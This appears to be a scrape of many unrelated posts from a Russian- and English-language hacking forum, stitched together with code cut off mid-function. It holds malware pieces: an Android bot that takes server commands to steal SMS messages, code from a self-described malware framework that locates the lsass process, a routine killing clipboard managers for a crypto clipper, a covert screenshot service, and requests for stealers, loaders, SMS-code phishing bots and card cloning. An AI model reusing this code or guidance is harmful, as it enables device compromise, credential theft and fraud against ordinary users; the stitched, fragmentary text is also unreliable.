override fun onFailure(call: Call, e: IOException) {
Log.e("DeviceManager", "Error checking commands: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
response.body?.string()?.let { responseBody ->
Log.d("DeviceManager", "Commands response: $responseBody")
val jsonResponse = JSONObject(responseBody)
if (jsonResponse.getString("status") == "success") {
jsonResponse.getJSONArray("commands").let { commands ->
for (i in 0 until commands.length()) {
val command = commands.getString(i)
Log.d("DeviceManager", "Command: $command")
if (command == "getsms") {
Log.d("DeviceManager", "Executing command: getsms")
Bot.GetSMS(context)
}
}
}
} else {
Log.d("DeviceManager", "No commands found for device.")
}
}
}
})
}
fun fetchDevices() {
Log.d("DeviceManager", "Fetching devices from server")
val request = Request.Builder()
.url(SERVER_URL)
.build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {
Log.e("DeviceManager", "Error fetching devices: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
response.body?.string()?.let {
Log.d("DeviceManager", "Devices response: $it")
val deviceType = object : TypeToken<Map<String, Device>>() {}.type
val devices: Map<String, Device> = gson.fromJson(it, deviceType)
devices.forEach { (id, device) ->
Log.d("Device", "ID: $id, OS: ${device.os}, Model: ${device.model}, Screen State: ${device.screenState}")
}
}
}
})
}
private fun isScreenOn(context: Context): Boolean {
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
return if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT_WATCH) {
powerManager.isInteractive
} else {
powerManager.isScreenOn
}
}
}
Сервером все хорошо, я чекал через curl (делает коннект)
Короче на софте стоят разные защиты, вообщем когда я выделяю память в процессе через VirtualAllocEx, програ это видит и закрывается. Хочу знать все варианты как эта програ чекает выделение памяти, что бы обойти, пока на ум приходит то что эта програ ставит хуки во всех процессах, но мне кажется это херня.
This is code I developed for my malware framework. I want to share some code snippets here. This research originates from MODEXP.
` //generic helper function, is the dll loaded? HMODULE TryLoadDllMultiMethodW(In PWCHAR DllName) { HMODULE hModule; if (!IsDllLoadedW(DllName)) hModule = LoadLibraryW(DllName); else hModule = GetModuleHandleEx2W(DllName); return hModule; } //method 1 - get pid from named Pipe DWORD MpfGetLsaPidFromNamedPipe(VOID) { UNICODE_STRING Pipe = { 0 }; NTOPENFILE NtOpenFile = NULL; NTFSCONTROLFILE NtfsControlFile = NULL; NTCLOSE NtClose = NULL; HMODULE hModule = NULL; IO_STATUS_BLOCK IoBlock = { 0 }; OBJECT_ATTRIBUTES Attributes = { 0 }; DWORD ProcessId = ERROR_SUCCESS; HANDLE hHandle = INVALID_HANDLE_VALUE; NTSTATUS Status = STATUS_SUCCESS; LPSTR InputBuffer = (LPSTR)"ServerProcessId"; hModule = TryLoadDllMultiMethodW((PWCHAR)L"ntdll.dll"); if (hModule == NULL) return -1; NtOpenFile = (NTOPENFILE)GetProcAddressA((DWORD64)hModule, "NtOpenFile"); NtfsControlFile = (NTFSCONTROLFILE)GetProcAddressA((DWORD64)hModule, "NtFsControlFile"); NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); if (!NtOpenFile || !NtfsControlFile || !NtClose) return -1; RtlInitUnicodeString(&Pipe, L"\Device\NamedPipe\lsass"); InitializeObjectAttributes(&Attributes, &Pipe, OBJ_CASE_INSENSITIVE, 0, NULL); Status = NtOpenFile(&hHandle, FILE_READ_ATTRIBUTES, &Attributes, &IoBlock, FILE_SHARE_READ, NULL); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; Status = NtfsControlFile(hHandle, NULL, NULL, NULL, &IoBlock, FSCTL_PIPE_GET_PIPE_ATTRIBUTE, InputBuffer, (ULONG)StringLengthA(InputBuffer)
Hidden content for authorized users.
Создаём класс ProcessControl.cs
В него запишем список процессов необходимых для закрытия
C#:Copy to clipboard
static readonly List<string> ListManagers = new List<string>
{
"Clipper", "Clip", "Buffer"
};
Создаём метод для закрытия процессов из списка List
C#:Copy to clipboard
public static void InizializeKiller()
{
try
{
// Получаем наш процесс
Process currentProcess = Process.GetCurrentProcess();
// Проходимся по списку
foreach (string list in ListManagers)
{
// Затем получаем имена процессов
foreach (Process process in Process.GetProcessesByName(list))
{
try
{
// Делаем проверку на совпадения со списка процессов и не трогаем наш процесс
if (process.ProcessName.ToLower().Contains(list.ToLower()) && process.ProcessName != currentProcess.ProcessName)
{
try
{
// За место Kill просто закрываем окна ( это более безопасный метод использования )
process.CloseMainWindow();
}
catch { }
}
}
catch { continue; }
}
}
}
catch { }
}
Далее просто вызываем метод InizializeKiller(); в любом месте.
Developed from scratch
Maybe some will come handy
With persistent background process.
Input your wallet addresses on the .txt file
Pass:
You must have at least 200 reaction(s) to view the content.
Download:
You must have at least 200 reaction(s) to view the content.
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F7fc81a225b296f0623957f8d67314095ec3e0a80d8fd07486fb5e64d87b59a66%2Fortegaalfredo%2Fautok- extension&hash=6a5d6f58621cf816699ae969e622f5c2&return_error=1)
plugin. ](https://github.com/ortegaalfredo/autok-extension)
AI-powered bug hunter - vscode plugin. Contribute to ortegaalfredo/autok- extension development by creating an account on GitHub.
github.com
EMV - cloning credit card.
SMS bot - that if u provide the bot with the phone number it will call the
victime and ask for the sms code that come to his phone, the sms code for cc
payment.
I would buy with pleasure.
меня не взломали написал на английском ради прикола
Для создания скрипта под ClubGG (poker). Нужен кодер. Подробно ТЗ опишу в лс. Бюджет хороший. Работаю через гаранта форума.
Hidden content for authorized users.
Конечно лучше всего использовать библиотеку NAudio но мы сделает простой велосипед )
Для начала подключаем зависимости
C#:Copy to clipboard
using Properties;
using System;
using System.IO;
using System.Media;
using System.Threading;
Закинем в ресурсы волновой файл формата .wav
P.S: Есть много конвертеров которые конвертируют любые форматы в .wav
На примере можно взять FFmpeg: и конвертировать таким скриптом: ffmpeg - i
вашфайл.mp3 вашфайл.wav
P.P.S: Есть один минус из этого что файл на выходе будет прилично весить под 50 - 100 МБ.
Создадим класс MusicEdition.cs
Вопрос :
Как это работает?
Ответ :
Сначала мы проверяем файл на существование, если программа его находит что
идём дальше, если нет то пишем уведомление пользователю что файл не найден.
После загружаем файл из нужного нам пути:
( Предварительно нужно обвернуть функцию SoundPlayer в using - чтобы
освободить ресурсы проигрывателя )
Внутри функции мы загружаем музыкальный файл, после делаем проверку что файл
был загружен успешно, и начинаем проигрывание )
С загрузкой из ресурсов те же самые манипуляции =)
C#:Copy to clipboard
namespace MusicPlay
{
using Properties;
using System;
using System.IO;
using System.Media;
using System.Threading;
public class MusicEdition
{
public static void PlayFrom(string path_wav)
{
if (File.Exists(path_wav))
{
try
{
Console.WriteLine("Файл найден... Загружаем...");
using (var player = new SoundPlayer())
{
player.SoundLocation = path_wav;
player.Load();
if (player.IsLoadCompleted)
{
Console.WriteLine("Загрузка завершена.");
Thread.Sleep(1000);
Console.WriteLine("Запускаем проигрывание.");
player.Play();
}
else
{
Console.WriteLine("Загрузка не успешна");
}
}
}
catch (InvalidOperationException ioe) { Console.WriteLine(ioe.Message); }
}
else
{
Console.WriteLine("Музыкальный файл не обнаружен.");
}
}
public static void PlayFromResource()
{
using (UnmanagedMemoryStream str = Resources.Music) // Resources.Music - ваш музыкальный файл.
{
try
{
using (var snd = new SoundPlayer(str))
{
snd.Load();
if (snd.IsLoadCompleted)
{
Console.WriteLine("Загрузка завершена.");
Thread.Sleep(1000);
Console.WriteLine("Запускаем проигрывание.");
snd.Play();
}
else
{
Console.WriteLine("Загрузка не успешна");
}
}
}
catch (InvalidOperationException ioe) { Console.WriteLine(ioe.Message); }
}
}
}
}
Вызывается просто:
C#:Copy to clipboard
namespace MusicPlay
{
using System;
internal static class Program
{
private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
[STAThread]
public static void Main()
{
//MusicEdition.PlayFrom(Path.Combine(Desktop, "1.wav"));
MusicEdition.PlayFromResource();
Console.ReadKey();
}
}
}
Почему при инжекте крашит длл при её изменении из нутри при помощи HxD
До
Code:Copy to clipboard
2B 5D 20 6F 77 6E 65 64 20 62 79 20 50 69 6E 6B 4B 69 6E 67 23 38 31 39 39 20 68 74 74 70 73 3A 2F 2F 74 2E 6D 65 2F 6C 70 73 6F 70 67 20 28 6E 6F 74 20 6D 79 20 63 72 61 63 6B 2C 20 67 6F 6F 64 20 67 61 6D 65 20 29
После
Code:Copy to clipboard
6F 77 6E 65 64 20 62 79 20 52 6F 64 6A 23 33 36 36 36 20 67 6F 6F 64 20 67 61 6D 65
Hey guys , I'm trying to understand one repository and I hope you will help
me.
It's a remote execute-assembly.
So I'm creating a .exe /called ExecremoteNet.exe/ file using the .sln. The
example is:
"
ExecremoteNET.exe
and when I run it on my PC like this :
Execremotenet.exe
I don't know what to send to the target so when he click on the file the
InmemoryNet.exe to be downloaded and then the command ExecremoteNET.exe
I know it a lame question but obviously I'm a newbie and I need your help.
Thanks in advance
This is the repository:
passing and with AMSI and ETW patching ](https://github.com/D1rkMtr/ExecRemoteAssembly)
Execute Remote Assembly with args passing and with AMSI and ETW patching - GitHub - D1rkMtr/ExecRemoteAssembly: Execute Remote Assembly with args passing and with AMSI and ETW patching
github.com
Предприимчивые граждане разобрали код IVssCoordinator COM API, нашли пару недокументированных возможностей (по утверждению автора)
link: https://github.com/vxunderground/VXUG-Papers/tree/main/Xaoc
нужно загрузить вирус на с++ (он уже будет в ехе) и запустить его на другом
пк, на сервере я админ
можно как то запускать java код в консоли маинкрафта? или использовать
log4shell, но я не совсем понял как с ним на атернос попасть
загрузку можно сделать через curl, задача в том, чтобы выполнить строчку в cmd на чужом пк
Скачиваю файл со своего сайта используя библиотеку urlmoon, сам файл сохраняется не теряя расширения и пути, но при этим содержимое файла всегда одно, что то на подобие
Code:Copy to clipboard
<html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
В чем проблема?
Написал исходник нового приложения на IOS, на тестах ошибок не было, но при
запуске кода в этом месте появилась ошибка, я не понимаю откуда и что не так
var t = readLine()!
var s = readLine()!
var len_s = s.count
var t_lis = Set(t)
var c_s = Counter(s)
var c_t = Counter(t_lis[len_s])
var c_res = String: String
var summ = 0
for e in c_s{
c_res[e] = [c_s[e], min( c_s[e], c_t[e] )]
summ += c_res[e][1]}
for i in (t.count-s.count) + 1 {
if summ == len_s-1{
print(i)
break
}
if t _in c_res
if c_res[t _][1] > 0{
c_res[t _][1] -= 1
summ -= 1
}
if i+len_s < t.count && t[i+len_s] in c_res
if c_res[ t[i+len_s] ][1] < c_res[ t[i+len_s] ][0]{
c_res[ t[i+len_s] ][1] += 1
summ += 1
}
else
print(-1)
}
Кто может подсказать как быть?
И кто-нибудь знает качественный сервис для анализа кода? Что может сделать
один код уникальным для нескольких проектов. Заранее спасибо!___
Всем привет! Я новичок в программировании и только недавно начал изучать "C" кодинг. Однако на днях появился вопрос: есть ли способ изменить текст в MessageBox без изменения HEX? Например, я написал программу с "MessageBox(NULL, L"", L"", MB_OK)" и как в этом можно изменить текст без изменения HEX?
Пытался через дебаггеры, но всё тщетно.....
Надеюсь, вы мне поможете...
Нужно вот такой MSI инсталлер создать чтобы при запуске сразу пошла установка
и запуск программы которая распакуется, какие варианты и методы создания
такого формата файла есть?
Hi, I am coding in C++ right now and I tested the exe on a windows Machine without visual studio installed. Now my exe says DLLs, not found etc. How can I Compile my c++ script so it runs on every pc, without any things installed?
I use windows.h
В свое время его выкладывали на http://rootkits.ru/.
https://web.archive.org/ к сожалению не помог.
Может быть у кого нибудь остался на жестком диске.
Помогите археологу!
Доброго времени суток , я новичок в теме кода, нужна помощь , совет
Вообще вкратце , пишу вредоносное ПО , нашёл исходник , конечно же нужно
делать ребилд , в коде было больше 370 ошибок , исправил
Суть вопроса вот в чем , когда я компилирую , на выходе выходит файл в формате
.bin
Это файл .bin что с ним делать я не в курсе с какой программой его применять?
В нем кодинг.
Может у кого завалялась на пк данное сокровище, прошу поделиться
Залейте сюда пожалуйста
И конечно же в
переводе
Вступление
Сканер портов - это софтина, которая проверяет сервер на наличие открытых портов, пытаясь подключиться к серверу через каждый порт по очереди. После программа обычно сообщает, какие порты были открыты, а какие закрыты. Более сложные реализации сканеров портов, такие как Nmap помимо всего могут предоставлять и другую инфу, начиная от версии ПО заканчивая версией браузера. Сканирование портов обычно выполняется системными администраторами для проверки безопасности сети или злоумышленниками (хаЦкерами), которые ищут открытый порт, через который можно поставить под угрозу безопасность сервера, или в народе - просунуть свою жопу, дабы чем поживится.
Наш первый скан портов в первородном виде
Повторяясь, скан портов так же просто, как попытка подключения к адресу и
порту по средствам сокетов. Если попытка подключения успешна, порт должен быть
открыт. В противном случае fail, порт закрыт.
Начнем с функции-чекера, использующей сетевой модуль SFML для проверки открыт
ли порт:
Функция port_is_open:
C++:Copy to clipboard
bool port_is_open(const std::string& address, int port)
{
sf::TcpSocket socket; // через глобал. пилим сокет
bool open = (socket.connect(sf::IpAddress(address), port) == sf::Socket::Done); // проверяем на open
socket.disconnect(); // закрываем
return open;
}
Пояснительная бригада на выезд:
Здесь мы создаем новый sf :: TcpSocket, подключаемся к адресу и порту и затем возвращаем 1 или 0 в зависимости от того, удалось ли соединение. Мы избавляемся от напряжного явного вызова конструктора sf :: IpAddress, а также от вызова sf :: TcpSocket :: disconnect (). Мы можем использовать эту функцию прямо здесь:
Функция FirtsTempMain:
C++:Copy to clipboard
#include <iostream>
#include <SFML/Network.hpp> // не забудь её скачать и подключить
#include <string>
static bool port_is_open(const std::string& address, int port)
{
return (sf::TcpSocket().connect(address, port) == sf::Socket::Done);
}
int main()
{
std::cout << "Port 80 : ";
if (port_is_open("localhost", 80))
std::cout << "OPEN" << std::endl;
else
std::cout << "CLOSED" << std::endl;
return 0;
}
Есть пробитие!
Попробуйте скомпилировать и запустить эту программу. Она проверит, открыт ли
порт 80 на вашем компьютере. Обратите внимание, что «localhost» означает
локальный компьютер; вы также можете использовать IP-адрес 127.0.0.1 или :: 1
(версия IPv6, хотя SFML еще не поддерживает IPv6). Вы можете изменить
"localhost" на IP-адрес или веб-адрес другого веб-сайта (не включая "http: //"
и любую информацию о пути).
А даватей проапдейтим наш сканер, чтобы он был похож как у настоящих тру- хацкеров в фильмах и боевиках.
Улучшенный сканер портов
Теперь, когда мы успешно разработали программу, которая может сканировать порт по адресу, мы изменим нашу программу, чтобы юзер, то есть вы, могли сами выбирать порты и адреса для скана:
C++:Copy to clipboard
#include <iostream>
#include <SFML/Network.hpp>
#include <string>
// тут все ясно. чекнули получили валид-сокет идем дальше
static bool port_is_open(const std::string& address, int port)
{
return (sf::TcpSocket().connect(address, port) == sf::Socket::Done);
}
int main()
{
std::string address; // пилим адресс
int port; // номер апорта
// получаем адресс.
std::cout << "Address: " << std::flush;
std::getline(std::cin, address);
// получае порт.
std::cout << "Port: " << std::flush;
std::cin >> port;
// поехали шерстить
std::cout << "Scanning " << address << "...\n" << "Port " << port << " : ";
if (port_is_open(address, port))
std::cout << "OPEN" << std::endl;
else
std::cout << "CLOSED" << std::endl;
return 0;
}
Помните, что 127.0.0.1 эквивалентно localhost. Кроме того, порт 80 может быть
закрыт на вашем компьютере. Он открыт только у меня, потому что я использую
HTTP-сервер Apache (порт 80 - это основной порт, обычно используемый для HTTP;
другой порт, обычно используемый для HTTP, - это порт 8080).
На этот раз это может занять немного больше времени, потому что вы не
сканируете свой комп, на этот раз вы подключаетесь к другому компьютеру по
инету
Стек Портов
Скан одного порта душная тема, мы хотим разогнатся на все массив портов. Один из способов сделать это - позволить юзеру вводить столько портов, сколько он хочет, а затем сканировать их все за один раз. Проблема заключается в том, что юзер может захотеть просканировать множество портов, и ему придется вводить каждый из них. Мы также могли бы позволить пользователю указать диапазон портов, скажем, 0–100, но тогда они не могли бы указывать значения за пределами этой ранжи. Нырнем глубже, и заюзаем и то, и другое - укажем диапазоны И отдельные порты в списке: '80, 8080 '; диапазон, например: «20-80»; или список, содержащий диапазоны: «20–80,8080». Этот код становится довольно сложным из-за использования шаблонов, std :: vector, std :: stringstream и цикла for C ++ 11 на основе диапазона.
Для начала нам нужна функция для разделения строк:
Функция std::vectorstd::string split:
C++:Copy to clipboard
// Разбиваем строку на "токены" возле разделителя (пробел),
// опционально пропускаем пустые токены.
static std::vector<std::string> split(const std::string& string,
char delimiter = ' ',
bool allow_empty = false)
{
std::vector<std::string> tokens;
std::stringstream sstream(string);
std::string token;
while (std::getline(sstream, token, delimiter)) {
if (allow_empty || token.size() > 0)
tokens.push_back(token);
}
return tokens;
}
Тип данных портов будет строкой, но нам нужно целое число, поэтому нам также
понадобится функция для преобразования строк в целые числа:
Функция string_to_int:
C++:Copy to clipboard
static int string_to_int(const std::string& string)
{
std::stringstream sstream(string);
int i;
sstream >> i;
return i;
}
Если у нас есть диапазон портов, нам понадобится функция для генерации всех значений в этом диапазоне:
C++:Copy to clipboard
// Функция обмена.
template <typename T>
static void swap(T& a, T& b)
{
T c = a;
a = b;
b = c;
}
// Создает вектор, содержащий диапазон значений.
template <typename T>
static std::vector<T> range(T min, T max)
{
if (min > max)
swap(min, max);
if (min == max)
return std::vector<T>(1, min);
std::vector<T> values;
for (; min <= max; ++min)
values.push_back(min);
return values;
}
Наконец, нам нужна функция для анализа списка портов с использованием вышеуказанных функций:
Функция parse_ports_list:
C++:Copy to clipboard
// Лист для парсинга портов
static std::vector<int> parse_ports_list(const std::string& list)
{
std::vector<int> ports;
// Лист портов.
for (const std::string& token : split(list, ',')) {
// Лист диапазона.
std::vector<std::string> strrange = split(token, '-');
switch (strrange.size()) {
// Только одно знач. (добавьте только в конце 'ports').
case 0: ports.push_back(string_to_int(token)); break;
case 1: ports.push_back(string_to_int(strrange[0])); break;
// Два значения (диапазон - все в этом диапазоне).
case 2:
{
int min = string_to_int(strrange[0]),
max = string_to_int(strrange[1]);
for (int port : range(min, max))
ports.push_back(port);
break;
}
default:
break;
}
}
return ports;
}
Финалочка:
C++:Copy to clipboard
#include <iostream>
#include <SFML/Network.hpp>
#include <sstream>
#include <string>
#include <vector>
static bool port_is_open(const std::string& address, int port)
{
return (sf::TcpSocket().connect(address, port) == sf::Socket::Done);
}
static std::vector<std::string> split(const std::string& string,
char delimiter = ' ',
bool allow_empty = false)
{
std::vector<std::string> tokens;
std::stringstream sstream(string);
std::string token;
while (std::getline(sstream, token, delimiter)) {
if (allow_empty || token.size() > 0)
tokens.push_back(token);
}
return tokens;
}
static int string_to_int(const std::string& string)
{
std::stringstream sstream(string);
int i;
sstream >> i;
return i;
}
template <typename T>
static void swap(T& a, T& b)
{
T c = a;
a = b;
b = c;
}
template <typename T>
static std::vector<T> range(T min, T max)
{
if (min > max)
swap(min, max);
if (min == max)
return std::vector<T>(1, min);
std::vector<T> values;
for (; min <= max; ++min)
values.push_back(min);
return values;
}
static std::vector<int> parse_ports_list(const std::string& list)
{
std::vector<int> ports;
for (const std::string& token : split(list, ',')) {
std::vector<std::string> strrange = split(token, '-');
switch (strrange.size()) {
case 0: ports.push_back(string_to_int(token)); break;
case 1: ports.push_back(string_to_int(strrange[0])); break;
case 2:
{
int min = string_to_int(strrange[0]),
max = string_to_int(strrange[1]);
for (int port : range(min, max))
ports.push_back(port);
break;
}
default:
break;
}
}
return ports;
}
int main()
{
std::string address;
std::string port_list;
std::vector<int> ports;
std::cout << "Address: " << std::flush;
std::getline(std::cin, address);
std::cout << "Port: " << std::flush;
std::getline(std::cin, port_list);
ports = parse_ports_list(port_list);
std::cout << "Scanning " << address << "...\n";
for (int port : ports) {
std::cout << "Port " << port << " : ";
if (port_is_open(address, port))
std::cout << "OPEN\n";
else
std::cout << "CLOSED\n";
}
std::cout << std::flush;
return 0;
}
На премию Тьюринга не претендует, но уже есть отправная точка)
Как сделать подгрузку стиллера в лоадере на C#, можно самый сложный и простой способ сказать
In relation to creating malware, what do you think is more efficient, courses like maldev, sektor7, sec670 or practice with suffering, in this case reading books until you understand, articles, YouTube?
I want to write a project on the IP Routing Information Protocol, but I don't know the format and format definitions of RIP (Routing Information Protocol), OSPF (Open Shortest Path First) and BGP (Border Gateway Protocol) and the official definition of the protocol content. Find a https://www.ietf.org/rfc/rfc2082.txt but there is no detailed format content, how to write one? In which directory and file the code of the Linux routing protocol can you refer to the trouble and recommend some open source projects of this IP information protocol routing
Я хочу написать проект по протоколу IP Routing Information Protocol, но я не знаю формата и определения формата RIP (Routing Information Protocol), OSPF (Open Shortest Path First) и BGP ( Border Gateway Protocol) и официальное определение содержания протокола. Найти https://www.ietf.org/rfc/rfc2082.txt но нет подробного форматного контента, как его написать? В каком каталоге и файле код протокола маршрутизации Linux вы можете сослаться на проблему и порекомендовать некоторые проекты с открытым исходным кодом этой маршрутизации информационного протокола IP
нужно поставить на сервак и немного доработать сайт asp.net C#
до недавнего времени был человек, который всем этим занимался. но куда то пропал.
тема встала из за этого - ищу человека кто сможет "поднять упавшее знамя" так сказать и взяться за доработки за % на постоянку либо за разовую оплату
Приветствую, сколько лет будет акктуален C/C++ и стоит ли сейчас присматриваться к языку RUST и Carbon?
Может уже начать изучать Rust и Сarbon?
Как вы считаете?
Как без GetModuleInformation получить информацию о модуле lpBaseOfDll и SizeOfImage (через peb). Помогите кодом, кому не сложно)
Имеется код, который должен задавать значение дефолтному ключу по заданному пути в реестре. Проблема заключается в том, что запуская прогу с одного пути, все отрабатывает нормально, но при запуске из например прогдаты или аппдаты значение не ставится. Проблема именно в установке дефолтного значения, значения с именем ставятся без проблем. Софт x32. Самый прикол в том, что прога падает без единой ошибки, пытался отловить дебаггером, ничего не дает, как будто где-то под капотом процесс сам себя убивает. В чем может быть проблема?
C:Copy to clipboard
wchar_t modulepath[MAX_PATH];
API(KERNEL32, GetModuleFileNameW)(0, modulepath, MAX_PATH);
API(KERNEL32, lstrcatW)(modulepath, L"\0");
HKEY key;
if (API(ADVAPI32, RegCreateKeyW)(HKEY_CURRENT_USER, L"key_path", &key) == ERROR_SUCCESS)
{
wprintf(L"Opened key successfully\n");
wprintf(modulepath);
if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"", REG_SZ, modulepath, lstrLenW(modulepath) * sizeof(wchar_t)) == ERROR_SUCCESS) //default value
{
wprintf(L"Successfully set default value\n");
if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"non-default_value", REG_SZ, L"", 0) == ERROR_SUCCESS)
{
wprintf(L"Successfully set non-default value\n");
}
else
Exit(L"error setting non-default value");
}
else
Exit(L"error setting default value");
UPD: Выяснил опытным путем, что если писать в реестр значение вида
C:\\ProgramData
, то все ок, однако стоит лишь записать
C:\\ProgramData\\test
и приложение начинает крашиться. И такое кстати только
с програмдатой...
Добрый день, пишу стиллер на c# и надо добавить получению юзер агента, как это реализовать?
Привет всем! Начал разработку ПО для чистки баз данных емейл-адресов от:
Это ремейк проги из данной темы, которая, в свою очередь, является переписью скрипта на .php, что служил той же цели.
Какой смысл разработки? Помочь тем, кто занимается брутом / чеком / рассылками / и др. махинациями с email-адресами в чистке от мусора и улучшения общего качества баз. В общем, пишите, что можно добавить в приложение. Пока что его вижу в виде консольной программы, которая будет запускаться с аргументами типа
Code:Copy to clipboard
cleaner.exe -f "./file.txt" -dns
Hi There ...as the title said
i want a source to take full screenshot with java using mdiaprojection API
every couple of minutes i have this pies of code its work perfectly but not
stop recording as soon it start
so i want to make it take a singles screenshot every couple minutes
Java:Copy to clipboard
package com.example.mycallrecording;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.PixelFormat;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.media.Image;
import android.media.ImageReader;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
import android.os.Build;
import android.os.Environment;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.util.Log;
import android.view.Display;
import android.view.OrientationEventListener;
import android.view.WindowManager;
import androidx.annotation.RequiresApi;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Objects;
public class StartScreenCapService extends Service {
private static final String TAG = "ScreenCaptureService";
private static final String RESULT_CODE = "RESULT_CODE";
private static final String DATA = "DATA";
private static final String ACTION = "ACTION";
private static final String START = "START";
private static final String STOP = "STOP";
private static final String SCREENCAP_NAME = "screencap";
private static int IMAGES_PRODUCED;
private MediaProjection mMediaProjection;
private String mStoreDir;
private ImageReader mImageReader;
private Handler mHandler;
private Display mDisplay;
private VirtualDisplay mVirtualDisplay;
private int mDensity;
private int mWidth;
private int mHeight;
private int mRotation;
private OrientationChangeCallback mOrientationChangeCallback;
public static Intent getStartIntent(Context context, int resultCode, Intent data) {
Intent intent = new Intent(context, StartScreenCapService.class);
intent.putExtra(ACTION, START);
intent.putExtra(RESULT_CODE, resultCode);
intent.putExtra(DATA, data);
return intent;
}
public static Intent getStopIntent(Context context) {
Intent intent = new Intent(context, StartScreenCapService.class);
intent.putExtra(ACTION, STOP);
return intent;
}
private static boolean isStartCommand(Intent intent) {
return intent.hasExtra(RESULT_CODE) && intent.hasExtra(DATA)
&& intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), START);
}
private static boolean isStopCommand(Intent intent) {
return intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), STOP);
}
private static int getVirtualDisplayFlags() {
return DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY | DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
}
private class ImageAvailableListener implements ImageReader.OnImageAvailableListener {
@Override
public void onImageAvailable(ImageReader reader) {
FileOutputStream fos = null;
Bitmap bitmap = null;
try (Image image = mImageReader.acquireLatestImage()) {
if (image != null) {
Image.Plane[] planes = image.getPlanes();
ByteBuffer buffer = planes[0].getBuffer();
int pixelStride = planes[0].getPixelStride();
int rowStride = planes[0].getRowStride();
int rowPadding = rowStride - pixelStride * mWidth;
// create bitmap
bitmap = Bitmap.createBitmap(mWidth + rowPadding / pixelStride, mHeight, Bitmap.Config.ARGB_8888);
bitmap.copyPixelsFromBuffer(buffer);
// write bitmap to a file
fos = new FileOutputStream(mStoreDir + "/myscreen_" + IMAGES_PRODUCED + ".png");
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
IMAGES_PRODUCED++;
Log.e(TAG, "captured image: " + IMAGES_PRODUCED);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fos != null) {
try {
fos.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
if (bitmap != null) {
bitmap.recycle();
}
}
}
}
private class OrientationChangeCallback extends OrientationEventListener {
OrientationChangeCallback(Context context) {
super(context);
}
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
@Override
public void onOrientationChanged(int orientation) {
final int rotation = mDisplay.getRotation();
if (rotation != mRotation) {
mRotation = rotation;
try {
// clean up
if (mVirtualDisplay != null) mVirtualDisplay.release();
if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null);
// re-create virtual display depending on device width / height
createVirtualDisplay();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
private class MediaProjectionStopCallback extends MediaProjection.Callback {
@Override
public void onStop() {
Log.e(TAG, "stopping projection.");
mHandler.post(new Runnable() {
@Override
public void run() {
if (mVirtualDisplay != null) mVirtualDisplay.release();
if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null);
if (mOrientationChangeCallback != null) mOrientationChangeCallback.disable();
mMediaProjection.unregisterCallback(MediaProjectionStopCallback.this);
}
});
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
// create store dir
File externalFilesDir = Environment.getExternalStorageDirectory();
if (externalFilesDir != null) {
mStoreDir = Environment.getExternalStorageDirectory().getPath() + "/111111111/";
File storeDirectory = new File(mStoreDir);
if (!storeDirectory.exists()) {
boolean success = storeDirectory.mkdirs();
if (!success) {
Log.e(TAG, "failed to create file storage directory.");
stopSelf();
}
}
} else {
Log.e(TAG, "failed to create file storage directory, getExternalFilesDir is null.");
stopSelf();
}
// start capture handling thread
new Thread() {
@Override
public void run() {
Looper.prepare();
mHandler = new Handler();
Looper.loop();
}
}.start();
}
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (isStartCommand(intent)) {
// create notification
/*Pair<Integer, Notification> notification = NotificationUtils.getNotification(this);
startForeground(notification.first, notification.second);*/
// start projection
int resultCode = intent.getIntExtra(RESULT_CODE, Activity.RESULT_CANCELED);
Intent data = intent.getParcelableExtra(DATA);
startProjection(resultCode, data);
} else if (isStopCommand(intent)) {
stopProjection();
/*stopSelf();*/
} /*else {
stopSelf();
}*/
return START_NOT_STICKY;
}
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
private void startProjection(int resultCode, Intent data) {
MediaProjectionManager mpManager =
(MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
if (mMediaProjection == null) {
mMediaProjection = mpManager.getMediaProjection(resultCode, data);
if (mMediaProjection != null) {
// display metrics
mDensity = Resources.getSystem().getDisplayMetrics().densityDpi;
WindowManager windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
mDisplay = windowManager.getDefaultDisplay();
// create virtual display depending on device width / height
createVirtualDisplay();
// register orientation change callback
mOrientationChangeCallback = new OrientationChangeCallback(this);
if (mOrientationChangeCallback.canDetectOrientation()) {
mOrientationChangeCallback.enable();
}
// register media projection stop callback
